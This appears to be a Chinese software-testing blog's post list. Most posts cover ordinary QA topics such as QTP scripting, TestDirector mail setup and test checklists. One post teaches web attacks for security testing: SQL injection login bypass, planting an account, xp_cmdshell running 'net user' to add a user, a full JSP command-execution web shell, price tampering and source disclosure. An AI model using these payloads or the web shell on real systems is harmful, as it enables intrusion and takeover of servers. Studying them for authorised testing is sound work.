将"测试"进行到底!~!

发布新日志

  • QTP:GUI层——面向对象的扩展设计

    2009-12-03 08:41:05

  • About: Browser.back is not working (Favourites)

    2008-04-20 19:43:21

    I am working on QTP 9.5 and Ie 6.0.
    Browser("micclass:=Browser","creation time:= 1").Back is not working for me.
    I have seen other posts on this issue and tired other workarouunds also.I unistalled QTP and reistalled it. but still not able to get this issue solved.

    Any other suggestions please?

    ANSWER:

    First:

    Here is a workaround. Call the following method from your scrīpt

    Code:



    Public Sub bBack(gBrowser)

    Set bWin = Window("hwnd:="&gBrowser.GetROProperty("hwnd"))
    bWin.click 0,300

    Set WshShell = CreateObject("Wscrīpt.Shell")
    WshShell.AppActivate "Windows Internet Explorer"
    wait(1)
    WshShell.SendKeys "{BACKSPACE}"

    Set WshShell = nothing
    Set bWin = nothing

    End Sub
    Second:
    Ren, I am using IE 6.0 and QTP 9.5. I did run the following test which worked:

    Browser("micclass:=Browser").Navigate("http://www.yahoo.com")
    Browser("micclass:=Browser").back

    This returned it to the original page.

    Is is possible that you are using the "creationtime" incorrectly? If you have one browser open creationtime should be "creationtime:=0" and not "1" as you have it in your scrīpt. Hope this helps.
    (Statement: This Post come from sqaforums.com)
  • Web应用程序的常见安全攻击手段

    2008-04-19 11:41:34

    Web应用程序的常见安全问题:

     

    1.确定是否存在SQL攻击的可能性

    2.如果后端数据库是Microsoft Access,尝试在该服务器上使用XP_CMDSHELL来运行该命令

    3.尝试上传一些将由Web服务器解释的脚本,从而获取在这台服务器上运行命令的能力

    4.尝试枚举一些系统可能用于备份或日志记录目的的文件。对发现的每一份文件进行检查,看看其中有没有敏感信息

    5.尝试让Web服务器显示构成该站点脚本的源代码

    6.检查所有的Web页面,看是否存在可被操纵用于攻击这个站点的隐藏变量

     

    对于Web应用程序的常见安全攻击方法有:绕过授权、SQL注入、上传可执行内容、文件枚举、源代码泄露漏洞、HTTP中的隐藏字段等方法

     

    下面的内容为安全攻击方法,仅供参考:

    1. 绕过授权:

    比如:照片图库。一种常见懂得错误就是站点中真正得到登陆页面保护的部分仅仅是这个重新定向过程。因此,如果用户能猜出照片图库的URL,他就能够绕过这个登陆过程而查看这些页面。这类错误比你想象得还要常见。又例如,访问一个房地产网站,该网站要求付费才能访问更高级的列表。问题是他们使用了一个很容易推测的URL结构,因此你可以仅仅通过在URL中将数字加1就可以在不登陆的情况下枚举出所有的列表。

    同样的原理可用于很多地方,其中包括二进制形式的协议和应用程序。当你试图找出这类安全漏洞时,最好的方法就是有这个被攻击应用程序上的2个帐号,一个常规的和一个管理员的。首先,分别登陆这两个帐号,并注意那些提供给admin(管理员)而没有提供给常规用户的功能。然后你可以尝试通过常规帐号来执行管理员功能。可以以这样一个Web页面为例,在这个界面上管理员可以通过一个链接来关闭系统,尝试以常规用户登陆,并将那个链接粘贴到浏览器中。你可能会得到意外收获。

     

    2. SQL注入:

    A. SQL注入基础

    测试在数据库上执行该用户未被授权执行的操作。

    21 找出一个接受文本输入的输入字段

    22 测试这个输入是否被用作一个动态SQL语句的一部分

         a.查看文本输入是否被 作为代码对待

         b.查看这个SQL查询是否可被操纵。如果可以,那么被操纵

    23 测试是否可以发现一个SQL数据表。有没有返回一个数据列?

         a.查看这个数据列的信息是否可用来映射整个用户数据表的数据列

         b.查看是否能真正向这个用户数据表中添加数据

    24 测试是否能在这个SQL服务器上执行代码

         a.尝试在这个SQL服务器上执行XP_CMDSHELL

         b.尝试在这个Web服务器上创建一个新用户

     

    详细例子方法如下:

    1.一个ASP登陆脚本的动态select语句:

    sSQLQuery = “ select * from tblusers “ & _ “Where username=’ “ & sUsername & _ “ ‘and Password=’ “ & sPassword & “ ‘ ”

    假如,输入用户admin,密码password登陆,则为:

    Select * from tbluser  where  username=’ admin’ and password=’password’

    你可以看到其中使用了“(单引号)字符来分隔用户数据与SQL代码。如果你将“”用作用户名,那么查询为:

    Select * from tbluser  where username=’ ’ ’ and  password=’ ’

    2.执行登陆后将产生错误:因为用户名的输入导致“and password=”被当作了这个SQL查询中的字符串的一部分。为了利用这个错误,需要一种途径使得SQL解释器忽略跟随在你输入后的查询部分,在MSSql Server中,破折号字符串(--)将通知服务器忽略之后的语句。比如你使用admin登陆,稍作修改:admin’ -- ,则查询如下:

    Select * from tbluser where  username=’admin’ --’ and password=’password’

    则查询结果只返回针对admin的数据记录,避免了password的验证。

    3.假如你不知道存在的合法用户名,则可以在用户输入框里输入:’ or 1=1 -- 。那么可以执行攻击的一个变种。则查询为:

    Select * from tbluser  where username=’ ’ or 1=1 -- ’and password=’password’

    因为1=1总是为真,所以SQL服务器将返回所有用户的所有数据

     

    B. 数据库模式探索

       在前面的攻击手段中使用单引号产生的错误信息中,可获得有效的数据列名称password。下面在文本框中输入:test’ group by(password);-- ,查询产生错误信息,从里面可获取相关的数据表名称tbluser,与数据表字段name

       接着继续探索,并通过上面的列name来分组:test’ group by(name);-- 。探索可得到其他数据列信息lastloggedin,继续发送:test’ group by(lastloggedin);-- 。返回的错误信息返回到了name地方。因此可以猜测数据表存在三个数据列,而且可以通过Union Select来确认这个判断,如果参数数量不正确,将返回一个错误信息。

       探索:test’ Union select name,password,lastloggedin from tblusers;--

       要探索一个数据列的数据类型,可以使用另一个SQL函数COMPUTE SUM

    Test’ compute Sum(name);-- ,可从页面返回信息中获取数据列的类型。

       当确定好所有的数据列的类型与数量后,你就能向这个记录系统用户的数据表中添加数据了:

       Test’; insert into tbluser(name, password, lastloggedin) values(‘root’, ‘123456’,’ ’);--

     

    C.在SQL服务器上执行命令

       依靠所使用的SQL服务器,可以直接在数据库应用程序所在的服务器上执行命令。在MS SQL SERVER中,可以通过扩展存储过程来执行这种命令。这种功能的目的是允许数据库应用程序底层操作系统来执行某些服务。

    你尝试在数据库服务器上创建一个新的用户。MS SQL SERVER中最有意思的扩展存储过程之一就是master .. xp_cmdshell ,它允许SQL SERVERWindows shell(命令解释程序)传递命令。例如这样一条命令:master .. xp_cmdshell ' 这条命令将在此服务器上添加一个新用户,该用户的用户名是luke,密码是secret

       在登陆页面的用户字段中输入:’;exec master .. xp_cmdshell ‘net user luke secret/add ‘;-- 。这将构成下面的查询:

    Select * from tbluser where username=’ ’;exec master .. xp_cmdshell ‘net user luke secret /add’-- and password=’secret’

    上面命令执行成功后,你就可以执行下面的操作:

    ‘;exec master .. xp_cmdshell ‘dir c:\>c:\Inetpub\wwwroot\dir_listing.txt

    这条语句将在Web根目录下创建一个目录列表

     

    3. HTTP中的隐藏字段

    检查HTTP中的隐藏字段。检查用于存储和发送状态信息的隐藏变量。

    几年前,人们通常在Web页面上的隐藏变量中为垢污车程序存储像价格这个的敏感信息。比如一个隐藏变量来存储进行销售的小商品价格:

    使用工具WebScarab找出页面中的隐藏变量,比如找出单价变量price10,设置WebScarab以允许对Web页面中的隐藏变量进行编辑,将price10改为1

    这类攻击基本上是这样一类问题:尝试找出应用程序处理输入的方式,而后更改这个输入数据,从而利用该应用程序。明显的例子如:更改购物车中的价格、在存储用户专用信息的系统中更改用户名或者更改任何你认为能对数据和向用户发送进行控制的变量。

    (注: 具体的WebScarab工具使用方法这里就不陈述拉)

     

    4. 源代码泄露漏洞

    在使用下面的描述,来验证源代码会不会被泄露:

    1.  对于Windows 平台上的WebSphere,如果你将页面URL中的.jsp后缀改为.JSP,将会返回该文件的源代码

    2.  MacOS X上运行的Web服务器,且数据取自HFS+文件系统。请求文件的资源分支会暴露敏感信息,特别是在Web服务器拒绝对文件直接访问的时候尤为严重。当服务器执行关于PHPmod_perl以及JSP文件的服务器端解释时,通过数据分支路径请求文件将返回脚本的源代码。其中可能会包含敏感信息,比如数据库身份验证信息、文件系统路径或者有专利权的应用程序逻辑

    例子:

    1.  Windows上运行的WebSphere中出现这种漏洞的一个简单例子,如果你将页面.jsp改成.JSP,访问将会返回该文件的源代码。发生这种情况的原因是WebSphere处理文件的时候区分大小写,而Windows不区分大小写。

    2.  运行ApacheOS X服务器上,可以请求资源分支的数据部分而获得文件的内容(在Macintosh文件系统中,文件实际上有两个部分: 元数据和数据。)Apple公司的HFSHFS+文件系统对于每一个文件都有两个分离的数据流,分别作为“数据分支(data fork)”和资源分支(resource fork)来引用。

    MacOsx 10.2及以后的版本中,对于给定的文件,通过在传递给open(2)系统调用的文件路径之后分别附加/..namefork/data 或者/..namefork rsrc,也可以打开文件的数据分支和资源分支。在以前的版本中,可通过附加专用路径名/._Fork/data/._Fork/rsrc来处理。如一个PHP应用程序,在其访问路径http://localhost/fortune.php后加上 /..namefork/data ,可以返回这个页面的源代码。

     

    5. 上传可执行内容

    测试是否可以上传可执行代码(ASP/PHP/bat)

    a.  查看你是否能够控制写入文件的哪个目录

    b.  构造要运行的代码,并将其放在应用程序将会搜索到的目录中

       有时候,被攻击的应用程序中没有攻击者想要的功能,所以,他就必须自己来添加功能。只要在Web应用程序中使用与这个应用程序相同的编程语言添加自己的代码,攻击者就可以达到目的。向Web应用程序中添加功能实际做起来要比想象中容易。你只需要将你的代码放在一个目录下,而整个目录正是Web服务器从其中执行代码的那个目录。在本例中,这段代码使用JSP编写,并允许通过一个Web浏览器,使用execute.jsp来传递命令。示例如:http://www.victim.com/cgi-bin/execute.jsp?cmd=dir

    <% String cmd=request.getParameter(“cmd”);

       Out,println(“your command: ”+cmd+ “”);

    Process p=Runtime.getRuntime().exec(cmd)

    Java.io.InputStream is = p.getInputStream();

    Java.io InputStream eis = p.getErrorStream();

    Int c;

    Out.println(“Results:\n”);

    While((c=is.read())!=-1)

    {

      Out.print((char) c);

    }

    Out.println(“\n”);

    Out.println(“Errors:\n”);

    While((c=eis.read())!=-1)

    {

      Out.print((char) c);

    }

    Out.println(“\n”);%>

     

    这种攻击并不局限于解释型代码或者局限于Web应用程序。通过某些动态加载代码,通过可以实现注入功能。最常见方法就是使用插件和DLL

     

    6. 文件枚举

    检查你可能猜出的文件的类型,这将会为你提供有关系统的跟多信息。现给出一些要寻找的文件类型:.bak.backup~.orig.tmp.temp.log.old#filename# 。通过向文件名中附加一个空字节,检查是否能够从文件中获得信息。检查目标文件中是否有敏感数据。检查目标文件是否可被修改,从而用于攻击。

    第一,在文件名后附加一个空(null)字节

       如:http://www.example.com/login.jsp%  应用程序将这个文件类型与它所能执行的文件类型相比较,但由于这个额外的字节,匹配失败。当这个文件交给操作系统来打开的时候,操作系统会将这个“%  ”解释为文件名字字符传的结束标志。

    第二,通过程序来完成大多数文件枚举的乏味工作。比如知名度最高的Nikto,这个程序可在 http://www.cirt.net/code/nikto.shtml找到。但是找到的文件,必须你手工一一浏览,找取感兴趣的数据。

     

  • 软件测试W模型

    2008-04-16 20:01:32

    软件测试W模型:
    W
    模型从V模型演化过来,实际上开发是V,测试也是与此并行的V。基于“尽早地和不断地进行软件测试”的原则。在软件的需求和设计阶段的测试活动应遵循IEEE std1012-1998《软件验证和确认(V&V)》原则。

    一个基于V&V原理的W模型示意图如图:

     

     

     

  • 面试题----软件测试的80-20原则(转载ysnliy的Blog)

    2008-04-11 18:50:08

    80% 的软件缺陷常常生存在软件 20% 的空间里。这个原则告诉我们,如果你想使软件测试有效地话,记住常常光临其高危多发 “ 地段 ” 。在那里发现软件缺陷的可能性会大的多。这一原则对于软件测试人员提高测试效率及缺陷发现率有着重大的意义。聪明的测试人员会根据这个原则很快找出较多的缺陷而愚蠢的测试人员却仍在漫无目的地到处搜寻。

    80-20 原则的另外一种情况是,我们在系统分析、系统设计、系统实现阶段的复审,测试工作中能够发现和避免 80% 的软件缺陷,此后的系统测试能够帮助我们找出剩余缺陷中的 80% ,最后的 5% 的软件缺陷可能只有在系统交付使用后用户经过大范围、长时间使用后才会曝露出来。因为软件测试只能够保证尽可能多地发现软件缺陷,却无法保证能够发现所有的软件缺陷。

    80-20 原则还能反映到软件测试的自动化方面上来,实践证明 80% 的软件缺陷可以借助人工测试而发现, 20% 的软件缺陷可以借助自动化测试能够得以发现。由于这二者间具有交叉的部分,因此尚有 5% 左右的软件缺陷需要通过其他方式进行发现和修正。

    为效益而测试

    为什么我们要实施软件测试,是为了提高项目的质量效益最终以提高项目的总体效益。为此我们不难得出我们在实施软件测试应该掌握的度。软件测试应该在软件测试成本和软件质量效益两者间找到一个平衡点。这个平衡点就是我们在实施软件测试时应该遵守的度。单方面的追求都必然损害软件测试存在的价值和意义。一般说来,在软件测试中我们应该尽量地保持软件测试简单性,切勿将软件测试过度复杂化,拿物理学家爱因斯坦的话说就是: Keep it simple but not too simple 。

    缺陷的必然性

    软件测试中,由于错误的关联性,并不是所有的软件缺陷都能够得以修复。某些软件缺陷虽然能够得以修复但在修复的过程中我们会难免引入新的软件缺陷。很多软件缺陷之间是相互矛盾的,一个矛盾的消失必然会引发另外一个矛盾的产生。比如我们在解决通用性的缺陷后往往会带来执行效率上的缺陷。更何况在缺陷的修复过程中,我们常常还会受时间、成本等方面的限制因此无法有效、完整地修复所有的软件缺陷。因此评估软件缺陷的重要度、影响范围,选择一个折中的方案或是从非软件的因素(比如提升硬件性能)考虑软件缺陷成为我们在面对软件缺陷时一个必须直面的事实。

    软件测试必须有预期结果

    没有预期结果的测试是不可理喻的。软件缺陷是经过对比而得出来的。这正如没有标准无法进行度量一样。如果我们事先不知道或是无法肯定预期的结果,我们必然无法了解测试正确性。这很容易然人感觉如盲人摸象一般,不少测试人员常常凭借自身的感觉去评判软件缺陷的发生,其结果往往是把似是而非的东西作为正确的结果来判断,因此常常出现误测的现象。

    软件测试的意义 - 事后分析 (个人觉得这一点非常重要)

    软件测试的目的单单是发现缺陷这么简单吗?如果是 “ 是 ” 的话,我敢保证,类似的软件缺陷在下一次新项目的软件测试中还会发生。古语说得好, “ 不知道历史的人必然会重蹈覆辙 ” 。没有对软件测试结果进行认真的分析,我们就无法了解缺陷发生的原因和应对措施,结果是我们不得不耗费的大量的人力和物力来再次查找软件缺陷。很可惜,目前大多测试团队都没有意识到这一点,测试报告中缺乏测试结果分析这一环节。

    结论:

    软件测试是一个需要 “ 自觉 ” 的过程,作为一个测试人员,遇事沉着,把持尺度,从根本上应对软件测试有着正确的认识,希望本文对读者对软件测试的认识有所帮助

  • 基于 IBM Rational Robot 的自动化功能测试框架--收藏

    2008-04-10 17:33:10

     

    基于 IBM Rational Robot 的自动化功能测试框架

    http://www.ibm.com/developerworks/cn/rational/r-chengw/index.html

  • 邮件自动发送配置详细步骤及注意重点-TD

    2008-04-09 12:25:42

    邮件自动发送配置详细步骤及注意重点

    前提条件:项目已创建,

    环境:TD版本:TD8.0sp2

    数据库:Access

    OS:XP

    邮件服务器:公司内部邮件服务器

    该方法同样适用于TD版本为8.0SP1,数据库为SQL SERVER 2000, OS2003 SERVER

    配置步骤

    1.      在后台管理(site administrator)td servers,邮件协议采用smtp,邮件服务器填写本公司的邮件服务器的ip(192.168.10.1)或域名,这一步在安装td时也可以直接填写;

    2.      在后台管理(site administrator)users,添加参与项目的所有人员,注意一定要填写邮件地址,该邮件地址就是公司网络管理员分配给你的邮件地址;

    3.      在后台管理(site administrator)projects,选择一个需要自动发送邮件的项目,在右边找到 send defect emails automatically 前的选框,打上勾就可以了;

    4.      在后台管理(site administrator)site config,mail_interval字段的值改为0,这样做的目的是,当缺陷发生变化时,能够立即发送邮件,到此后台管理的配置完成了;

    5.      接下来是在自定义(customize)中的配置, 选择一个需要自动发送邮件的项目,输入管理员密码,进入自定义配置页;

    6.      选择chang user properties,填入admin的全名和email,或者只添email,这里的可以填写成用户名部分为admin,服务器部分必须与之前添加用户时所给用户填写的email的服务器部分一致;

    7.      选择set up users,将属于该项目的用户添加进来,一并检查每个用户的邮箱是否正确;

    8.      选择configure mail,选择邮件自动发送的触发字段,意思就是当某个字段发生变化,就自动发送邮件.比如当缺陷的状态改变时,邮件就开始自动发送.那就把状态这个字段从左边的字段中选到右边来;

    9.      选择configure mail,设置接收邮件的过滤条件,它和上一步有联系,每个条件之间是与的关系,比如前面设置了状态改变时,就自动发送邮件,但是liuc这个人只想接收状态为fix的缺陷,就可以在缺陷字段那儿只填写fix,这样一来其他状态的缺陷就不会发送到liuc的邮箱中;

    10.  选择set traceability notification,把所有框框都打上勾.到此自定义中的配置就完成了,这儿的重点是configure mail部分的配置.

    注意重点

    1.        创建项目时名字一定要是英文的,不然就自动发不了邮件,如果已经写成了中文也不要紧,用重命名的方式改过来就ok(老外的东西在支持中文方面就是有缺陷,怪只能怪咱自己太落后);

    2.        邮件服务器的测试,只要手动发送邮件,能够成功收到,就说明邮件服务器是没有问题的,如果这时还不能实现邮件自动发送,只能说明其他配置是有问题的,与邮件服务器没有关系;

    3.        在自定义配置页面中,admin的邮箱一定要填,具体填写方法已在步骤中的第六条中说明了;

    4.        检查每一个用户的邮箱是否完全写正确了,这一步非常重要,一定要检查,自己就曾发生过这样的事,因一名用户的邮箱写错了而导致不能自动发送邮件,为此而付出了半天的时间;

    5.        据自己不完全统计,邮件自动发送到接收的时间最快不低于两分钟,最慢不大于十分钟,所以说延迟是存在的,具体时间的长短,要依个人环境而异(手动发送邮件一般不会超过两分钟);

    6.        最后一个要重点注意的方面,就是触发条件和过滤条件的设置,注意虽然在触发字段中有注释字段,但是过滤条件的字段中却没有这个字段,可能是因为注释字段是文本型的,不好控制吧,再说明一点触发字段之间的是或的关系,也就是说只要其中的一个字段发生变化,就会自动发送邮件,而过滤条件中每个字段之间是与的关系,只有全部符合你所设置的条件的邮件才会发送给你.

    7.        一定要在自动发送邮件选项那儿打上勾,貌似还没打上勾,就说自动邮件发不了的人也有.

    自认为td是个很脆弱的软件,一个很小的地方的改变,就会使有些功能失效,所以在管理的过程中有时很头疼,在配置的过程中一定要仔细,不能有半点马虎.自己的一时马虎,就可能会换来一天时间的排错,在这上面我是深有体会的,把自己的想法和经验共享出来,是为了更多的人少走弯路,或者直接到位,省下时间去研究其他的方面,然后再共享出来,这才是互联网的宗旨.最后再感慨一下,希望我们自己能勾拥有自己的测试管理工具,到那时就不用现在这么费劲折腾了.

     

  • qtp中的数据库、文件操作---转载wonew1228

    2008-04-09 11:47:14

    1.datatable

            QTP本身程序就给我们提供了这么一个数据表,我们可以把测试数据或测试用例填入这个数据表中.

    如:设计用例

       username  passwd

    case1  mercury mercury

    case2 xxxxxxx xxxxxx

    录制脚本

    For i=1 to Datatable.GetRowCount
    Dialog("Login").WinEdit("Agent Name:").Set DataTable("username", dtGlobalSheet)
    Dialog("Login").WinEdit("Password:").Set DataTable("passwd", dtGlobalSheet)
    Dialog("Login").WinButton("OK").Click
    datatable.GlobalSheet.SetNextRow
    Next

            本例是验证一个登录系统,通过DataTable不同的用例设计,驱动起这段脚本,达到测试的效果.当然上面的例子中还少一个很重要的步骤,那就是结果比较.如果不能进行结果比较的自动化测试不能够称为自动化测试.
            当然我们这里主要讲的是数据驱动,所以不在对上面的例子进行补充.

    2.文本文件

            我们可以把文本文件当成数据文件,通过对文本文件的读写操作,来实现数据驱动.

    例:文本文件内的内容

      mercury,mercuy

    读文件的代码

    Function writeorderno(orderno)
    Dim fso, myfile,username,passwd
    Set fso=CreateObject("scrīpting.FileSystemObject")
    Set myfile=fso.openTextFile("C:\testing.txt",1,false)
    tmp=split(myfile.readline,",")
    username=tmp(0)
    passwd=tmp(1)
    myfile.close
    End Function

    写文本文件的代码

    Function writeorderno(orderno)
    Dim fso, myfile
    Set fso=CreateObject("scrīpting.FileSystemObject")
    Set myfile=fso.openTextFile("C:\result1.txt",8,false)
    myfile.writeline orderno
    myfile.close
    End Function

    3EXCEL文件

            我们可以把EXCEL文件当成数据文件,通过对EXCEL文件的读写操作,来实现数据驱动.

            可以把EXCEL文件当作对象的方式来完成写的操作

    Dim Excel,ExcelSheet
    Set Excel=CreateObject("Excel.Application")
    Set ExcelSheet=CreateObject("Excel.Sheet")
    ExcelSheet.Application.visible=true
    ExcelSheet.ActiveSheet.Cells(1,1).value=1
    ExcelSheet.ActiveSheet.Cells(1,2).value=2
    ExcelSheet.ActiveSheet.Cells(1,3).value=3
    Excel.Save "C:\test.xls"
    Set ExcelSheet=Nothing

            用ADO的方式连接EXCEL文件来做读的操作


    Dim conn,input,filename
    filename="D:\公基本情况(tb_gsgk)-标准格式.xls" '
    Set conn= createobject("ADODB.Connection")
    conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Persist Security Info=False;Data Source="&filename&";Extended Properties='Excel 8.0;hdr=yes'"
    Set input= createobject("ADODB.Recordset")
    input.Open "select * from [公基本情况-标准格式$] " ,conn,2,2
    input.close
    Set input=nothing

    4.数据库

            可以利用设计数据表,把测试数据和测试用例放在数据表里,用ADO或者其他任何可以访问连接数据库的方式连接数据库,来实现数据驱动

       Dim res,cmd,sql
    Set Res=createobject("adodb.recordset")
    Set Cmd=createobject("adodb.command")
    Cmd.activeconnection="Provider=SQLOLEDB.1;Password=111111;Persist Security Info=True;User ID=sa;Initial Catalog=xhq;Data Source=192.168.191.142"  '这句话是连接数据库的数据源,要做修改
    Cmd.CommandType = 1
    sql="selec t * from 表 where name=username"
    Cmd.CommandText = sql
    Set res = Cmd.Execute()
    Set res = nothing
    Set cmd.ActiveConnection = nothing
    Set Cmd= nothing

    以上四种方法都可以帮助我们实现数据驱动,应该说数据驱动在自动化测试中运用的比较的广泛,才有必要拿出来探讨一下.

  • 软件测试需求--收藏

    2008-04-06 10:33:32

    一、数据的一致性,正确性测试

    数据类型的字段10进制与16进制的转换的测试

    删除被引用基础数据的测试

    数量的数值是否计算正确的测试

    检查域的长度,是否有字符被截掉?

    检查数字域的最大值和最小值?

    检查数字域是否正确接受负数?

    数据库对数据的存储是否完整?有没有出现字符串被截,数值没有45入等?

     特定数据的格式是否正确?如日期型数据有没有“-”或“/”等分隔符;金额字段的数据有没有每三位数字自动添加“,”分隔符?

     

    二、新增,搜索,修改,排序,删除,打印等功能点的测试
    连续新增,修改,删除的测试

    需求功能是否实现的测试

    新增,修改后,TREEVIEW中数据是否及时更新的测试

    查询条件與新增,修改時,输入单引号及特殊字符进行查询的校验的测试

    修改时编码不能修改的测试

    新增时编码是否需要自动更新的测试

    新增与修改时的校验规则测试见序号3

    用鼠标点击只读域,能否进入?

    当打开窗口时,光标/焦点是否位于第一个可输入域?

    编辑框域Edit Box是否限制了字符的长度?

    使用ALT+TAB组合键从一个应用到另一个应用切换时是否有冲突?

    ID、编号或单据号重复时,是否给出提示?

    排序项目是否正确、全面?

    项目的排列顺序是否与显示的排列顺序一致?

    特定权限人员搜索特定资料的测试

    特定权限人员使用特定功能的测试

    清除数据的测试,即没有基础数据的异常处理的测试

    全部展开树中所有数据,看看滚动条的是否能拖动到树中最低下的数据的测试

    三、校验规则测试
    日期格式是否校验的测试

    小数类数据是否校验的测试

    整数类数据是否校验的测试

    校验提示信息是否正确,触发提示信息的时机是否恰当的测试。

    字母是否校验的测试

    特殊字符是否校验的测试

    邮箱格式是否校验的测试

    数据超长是否校验的测试

    数字最大最小值的校验的测试

    数据是否选择的校验的测试

    数据是否为空的校验的测试

    数据唯一性的校验的测试

    年份最大,最小值校验的测试

    数据被要求范围校验的测试

    定义文件名规则的校验的测试

    上传文件名超长的校验的测试

    上传文件名输入框为单引号的测试

    备注信息最长输入是否校验的测试

    闰年日期是否正确,是否不产生错误和计算误差?

    月份是否只能在112之间(包含本身)?

    日期是否只能在131之间(包含本身)?

    二月是否有282930日?

    日期的周期性计算是否正确?

    是否有日历选择器?是否与手工输入有冲突?

    除零的情况是否不允许?

    在数字后面带有空格的数字域是否正确接受?

    数据联动性的测试

    四、界面风格测试
    繁体字,简体字,英文的测试

    字体大小的测试

    按钮大小的测试

    窗口大小的测试

    按钮标题大小的测试

    页面标题的测试

    编辑框是否够宽够长的测试

    主页面显示在800X600下是否满屏的测试

    快捷键的校验的测试

    导航条的测试

    界面乱码的测试

    脚本错误的测试

    查询时间段风格的测试

    窗口中的按钮是否有适当的快捷键?

     快捷键工作是否正常?

    TAB键在元素间移动的次序是否正确,一般缺省从左上到右下?

    数据列太长,能否调整列宽?

    翻页的测试

    各个相关功能界面的数据字段的排列顺序是否一致,是否美观。

    报表页码显示的测试

    页面设置的测试

    关闭,保存等按钮是否使用专用图标的测试

    页面窗口不需要有问号标识的测试

    界面排版是否都是95%的排列的测试

    尝试在非登陆状态开启页面,任何人都可以进行修改和删除数据,是否做到页面级别权限控制的测试

    所有页面标题是不是以系统名命名的测试

    是否有温馨提示指导用户很好的使用系统

    交互式对话以弹出式风格显示,提示式信息以悬挂式风格显示。

     

    五、状态转换的测试

    各个数据状态的限制的测试

     

    六、压力测试

    系统长时间运行是否会出现死机的现象的测试

    系统长时间运行是否会出现SESSON丢失的现象的测试

    长时间运行,是否会出现连数据库不成功的现象的测试

    大量数据导入导出是否会出现死机的现象的测试

    同时打开多个应用程序的测试的测试

    七、参数设置校验
    各个参数的值全部没设置的测试

    设置部分参数的测试

    全部设置参数的测试

    参数设置是否正确的测试

    设置错误的数据类型的参数的测试

    参数文件保存编码格式的测试

    参数文件不完整的测试

     

    八、文件传输测试
    文件上传到FTPSERVER服务器端后,系统是否会死机的测试

    下载文件上传文件成功与否反馈信息的测试

    FTP有文件,PC机中没有文件的测试

    FTP有文件,PC机中有文件的测试

    FTP有文件,PC机中有文件的测试

    FTP中大量文件下载的测试

    同时下载上传多个文件的测试

    单个文件上传或下载断续连网测试的测试

    多个文件上传或下载断续连网测试的测试

    上传与下载文件同时进行的测试

    文件上传后光标如何定位的测试

    九、数据导入导出测试
    多条记录导入的测试

    导入模板的测试

    导入模板数据类型错误的测试

    部分数据导入不成功是否会出现提示信息的测试

    多个文件导入数据库的测试

    大量插数据导致数据库的表空间不足的测试

    导入文件名的测试

     长时间等待的过程中,是否有动态的标识进度?

    是否给出数据处理成功与否的信息?若不成功, 是否给出失败原因?

    导入多条完全相同的基础数据的测试

    导入非法数据是否有校验的测试

    多次导入不完全相同的数据,系统会否覆盖原有数据的测试

     

    十、与计算机通讯测试

    计算机与机器硬件接口,波特率等的测试

    通讯过程中断电的测试

    人为中断通讯的测试

    连续多次通讯的测试

    通讯过程中随意操作按钮键或都键盘键的测试

    长时间连接而不做任何操作的测试

    通讯过程中读错文件的测试

    通讯过程中读取多个文件的测试

     

    十一、安装测试

    将系统安装在WIN2000WINXP运行的测试

    IE浏览器版本的测试

    运行之前各个环境设置的测试

    部份运行程序文件被删除的测试

     

    十二、配置测试

     

    十三、文档测试

     

    十四、重要业务功能测试

    特定系统的重要业务功能的测试:需求中须明确哪些是重要的业务功能才能对此进行测试

     

    十五、回归测试

    测试客户提出来的BUG或需求之前,必须先看看这些BUG与需求的修改会影响到哪些地方,哪些页面,哪些功能,然后针对这些影响项测试,从而使测试做到更加全面。以免漏掉有些地方没有测试到。

     

    十六、交叉测试

    测试人员负责一个模块或者功能的测试一段时间后发现的问题达到了极限,在这种固定的思维方式下很难发现新的问题,这种情况需要采用交叉测试以解决此问题,但是另一个测试的人熟悉业务需要一段时间的。这时候又要怎么办?

  • QTP专用函数

    2008-04-06 10:08:22

    序列号 函数名 函数作用 第一参 第二参 第三参 第四参 第五参 返回值
    1 QTP_Small()  让QTP运行时保持最小化      
    2 QTP_Big()  '恢复QTP窗口      
    3 "QTP_WriteFile(pathway,words)"  '写文件函数(追加) 文件路径 写入内容    
    4 "Function QTP_WriteFile_Change(pathway,words)" '写文件函数(改写)  文件路径  写入内容    
    5 "QTP_Read_Excel(pathway,sheetname,x,y)" '读Excel文件元素  文件路径 工作表名  行值 列值  
    6 "QTP_Write_Excel(pathway,sheetname,x,y,content)" '写Excel文件元素并保存退出 文件路径
    工作表名 行值 列值 写入内容 
    7 "QTP_Msgbox(Value,waitTime,Title)" 定时停留弹出框函数  弹出值 弹出框停留时间 弹出框标题   
    8 "QTP_Change_Color(pathway,sheetname,x,y,color)" '改变Excel的单元格颜色 文件路径 工作表名
    行值  列值  颜色(只接受red和green) 
    9 QTP_Capture(pathway) '捕获当前屏幕(截图) 保存图片路径

    1 Function CreateExcel() 生成Excel对象和默认新工作表  Excel对象
    2 Sub CloseExcel(ExcelApp) 关闭指定的Excel  Excel对象     
    3 "Function SaveWorkbook(ExcelApp, workbookIdentifier, path)" 保存工作表 Excel对象 工作表名
    Excel文件路径  1成功,0失败
    4 "Sub SetCellValue(excelSheet, row, column, value)" 给Excel元素赋值 工作表名 行 列 值  
    5 "Function GetCellValue(excelSheet, row, column)" 获得指定元素值 工作表名 行 列 值,0未找到元素
    6 "Function GetSheet(ExcelApp, sheetIdentifier)         返回工作表  工作表
    7 "Function InsertNewWorksheet(ExcelApp, workbookIdentifier, sheetName)" 插入一个新的工作表 Excel对象
    工作表名 新工作表名 新工作表对象
    8 Function CreateNewWorkbook(ExcelApp) 建立一个新表 Excel对象     
    9 "Function OpenWorkbook(ExcelApp, path)" 打开一个之前保存过的工作表 Excel对象 路径    
    10 "Sub ActivateWorkbook(ExcelApp, workbookIdentifier)" 激活工作表  Excel对象 工作表名    
    11 "Sub CloseWorkbook(ExcelApp, workbookIdentifier)" 关闭工作表  Excel对象 工作表名    
    12 "Function CompareSheets(sheet1, sheet2, startColumn, numberOfColumns, startRow, numberOfRows, trimed)" 比较工作表
    1工作表一2工作表二 3起始列 4列数 5起始行 6行数 默认参数  true一致  false不一致

    QTP与Robot通用函数:
    序列号 函数名 函数作用  第一参 第二参 第三参 第四参 返回值
    1 Get_Data() 获取当前日期     
    2 Get_Time() 获取当前时间     
    3 "Get_RandNum(fromNum,toNum)" 随机函数生成 起始生成值 结束生成值 随机数
    4 "Swap(byref a,byref b)" 值交换函数 交换参数1 交换参数2 (引用调用)
    5 IsPrimeNumber(num) 是否是质数函数 '是质数返回true,否则返回false
    6 "ReadLine(pathway, rowcount)" 读指定文本文件指定行内容 文件路径  行数 
    "返回指定行内容,""文本越界"",""文件不存在"""
